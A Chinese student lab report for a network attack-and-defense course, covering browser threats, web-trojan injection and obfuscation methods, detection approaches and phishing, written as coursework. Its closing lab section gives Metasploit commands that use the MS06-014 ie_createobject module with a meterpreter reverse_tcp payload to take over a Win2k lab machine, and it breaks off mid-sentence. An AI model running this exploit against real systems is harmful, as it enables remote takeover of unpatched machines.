20199111 2019-2020-2 《网络攻防实践》第十二周作业
1.实践内容
1.1web浏览器的技术发展与安全威胁
- 现代浏览器的基本结构
- 现代Web浏览器软件的内核引擎与可扩展机制
Web浏览器软件的安全困境的三要素
-
复杂性
-
现代浏览器软件需要支持HTTP、HTTPS、FTP等多种类型的应用层协议浏览
-
符合HTML、XHTML、CSS等一系列页面标准规范
-
支持JavaScript、Flash、Java等多种客户端执行环境,并满足大量的用户浏览需求
-
-
可扩展性
- 支持第三方插件扩展机制,这些插件的安全性难以保证
-
连通性
- 始终工作在联网状态,一旦其中存在安全漏洞,就很容易被网络上的威胁源所利用和攻击
Web浏览安全威胁位置
-
针对传输网络的网络安全协议安全威胁
- 网络是连接 Web 应用服务端与客户端浏览环境的媒介,服务器端同样面临着网络传输协议安全攻击与威胁
-
针对Web端系统平台的安全威胁
-
浏览器软件、插件及相关应用程序都运行在桌面操作系统之上,桌面操作系统所存在的安全漏洞使得 Web 浏览环境存在着被攻击的风险
-
针对 Windows 桌面系统的渗透攻击与恶意代码是目前网络安全威胁的主要形态
-
-
针对Web浏览器软件及插件程序的渗透攻击威胁
- 通过客户端渗透攻击向互联网用户桌面系统中植入恶意木马程序
-
针对互联网用户的社会工程学攻击威胁
1.2Web浏览器的渗透攻击威胁-网页木马
-
网页木马的定义特性
-
对Web浏览端软件进行客户端渗透攻击的一类恶意移动代码
-
通常以网页脚本语言如JavaScript、VBScirpt实现,或以Flash、PDF等恶意构造的Web文件形式存在
-
通过利用Web浏览端软件中存在的安全漏洞,获得客户端计算机的控制权限以植入恶意程序
-
-
对网页木马机理的全方位分析与理解
-
网页木马的攻击是被动式的,需要通过一些技术方法来诱使互联网用户来访问网页木马页面
-
多样化的客户端渗透攻击位置和技术类型
- 集成了多样化的客户端渗透攻击代码,攻击的软件类型与位置,利用的安全漏洞也各不相同
-
分布式、复杂的微观链接结构
-
采用多个木马宿主站点来放置网页木马和盗号木马,并将它们挂接至大量的前端网页中
-
引入了一些中间跳转站点来提升防御方的分析和应对代价
-
-
灵活多变的混淆与对抗分析能力
- 攻击者利用的Web客户端脚本语言,如JavaScript语言,都支持各种非常灵活的字符串操作与编码、代码动态生成与执行、HTML页面无缝处理等机制
-
-
网页木马的本质核心--浏览器渗透攻击
-
网页挂马机制
-
内嵌HTML标签
-
将网页木马链接嵌入到网站页面中
-
最常用千网页挂马的内嵌标签为ifame
-
iframe的功能是在页面中创建一个内嵌的框架,用于包含和显示其他文档页面,当包含页面被浏览器打开时,被包含的页面也会同时被请求并显示在内嵌框架中
-
-
恶意Script脚本
-
利用script脚本标签通过外部引用脚本的方式来包含网页木马
-
跳转脚本通常使用document.write动态生成包含网页木马链接的iframe内嵌标签
-
-
内嵌对象链接
- 利用图片、Flash等内嵌对象中的特定方法来完成指定页面的加载
-
ARP欺骗挂马
- 在同一以太网网段内,攻击者通过ARP欺骗方法就可以进行中间入攻击,劫持所有目标网站出入的网络流量,并可在目标网站的HTML反馈包中注入任意的恶意脚本,从而使其成为将网络访问流量链接至网页木马的挂马站点
-
混淆机制
-
常见的混淆方法
-
将代码重新排版,上除缩进、空行、换行、注释等,同时将网页木马中的变量名替换为一组合法的随机字符串,干扰阅读分析
-
通过大小写变换、十六进制编码、escape编码、unicode编码等方法对网页木马进行编码混淆
-
通过加密工具对网页木马进行加密得到密文,然后使用脚本语言中包含的解密函数,对密文进行解密,再使用document.write( )或 eval()进行动态输出或执行
-
利用字符串运算、数学运算或特殊函数。通过字符串替换函数将网页木马中的一些字符替换为其他字符构成混淆代码,然后在运行时首先替换回原先的字符,然后进行动态执行
-
修改网页木马文件掩码欺骗反病毒软件,或对网页木马文件结构进行混淆,来伪装正常文件,甚至将网页木马代码拆分至多个文件
-
1.3网页木马的检测与分析技术
-
基于特征码匹配的传统检测技术
- 混淆技术和复杂的链接结构使得该技术不再有效
-
基于统计与机器学习的静态分析方法
- 仍然停留在外在形态层次上,存在大量误报,不适用于实际场景
-
基于动态行为结果判定的检测分析方法
-
利用了网页木马在攻击过程中向互联网用户主机植入并激活恶意程序的行为特性
-
基于 “行为结果 ” 进行判定,因此具有低误报率、能够天然地对抗混淆机制
-
-
基于模拟浏览器环境的动态分析检测方法
- 通过模拟实现DOM模型页面解析与渲染、ActiveX等第三方控件构建出一个虚拟的低交且式客户端蜜罐环境,在该环境中进行网页脚本的动态解释执行,以此还原出网页木马在混淆之前的真实形态
网页木马防御措施
-
系统补丁要及时更新
-
安装并及时更新反病毒软件
-
使用第三方浏览器,如Firefox/Opera等非IE内核的第三方浏览器
-
养成安全的网站浏览习惯,不要随便点击各种来源不明,带有引诱语言的链接
1.4网络钓鱼
-
网络钓鱼定义
- 攻击者利用欺骗性的电子邮件和伪造的 Web 站点来进行网络诈骗活动,受骗者往往会泄露自己的私人资料,如信用卡号、银行卡账户、身份证号等内容
-
钓鱼攻击技术流程
-
攻击者扫描网段,寻找存有漏洞的服务器
-
服务器被攻陷,并被安装一个Rootkit或口令保护的后门工具
-
攻击者从加密的后门工具获得对服务器的访问权,并下载已经构建完毕的钓鱼网站内容,进行一些网站搭建配置与测试工作,使得钓鱼网站上线运行
-
攻击者下载群发电子邮件工具,大规模发送包含假冒钓鱼网站信息的欺骗性垃圾
-
网页浏览的流量开始到达钓鱼网站,潜在的受害者开始访问假冒的钓鱼网页内容,并受欺骗给出个人敏感信息,攻击者通过服务器后台脚本收集这些个人敏感信息
-
-
防范措施
-
提高警惕,不登录不熟悉的网站
-
不要打开陌生人的电子邮件,更不要轻信他人说教,特别是即时通讯工具上的传来的消息
-
安装杀毒软件并及时升级病毒知识库和操作系统补丁
-
将敏感信息输入隐私保护,打开个人防火墙
-
收到不明电子邮件时不要点击其中的任何链接
-
2.实践过程
2.1 浏览器渗透攻击实践
设备 | IP地址 |
---|---|
攻击机kali | 192.168.6.7 |
靶机win2k | 192.168.6.124 |
使用Metasploit的MS06-014渗透攻击模块(ie_createobject)
msfconsole //打开Metasploit
search MS06-014
use 0 //使用ie_createobject攻击模块
set LHOST 192.168.6.7 //设置攻击机IP
set payload windows/meterpreter/reverse_tcp //设置payload
exploit
得到了如图的带有木马的地址,在靶机上登录该地址
这时返回攻击机可以看到靶机已经连接
使用命令sessions -i 1
打开会话,可以使用命令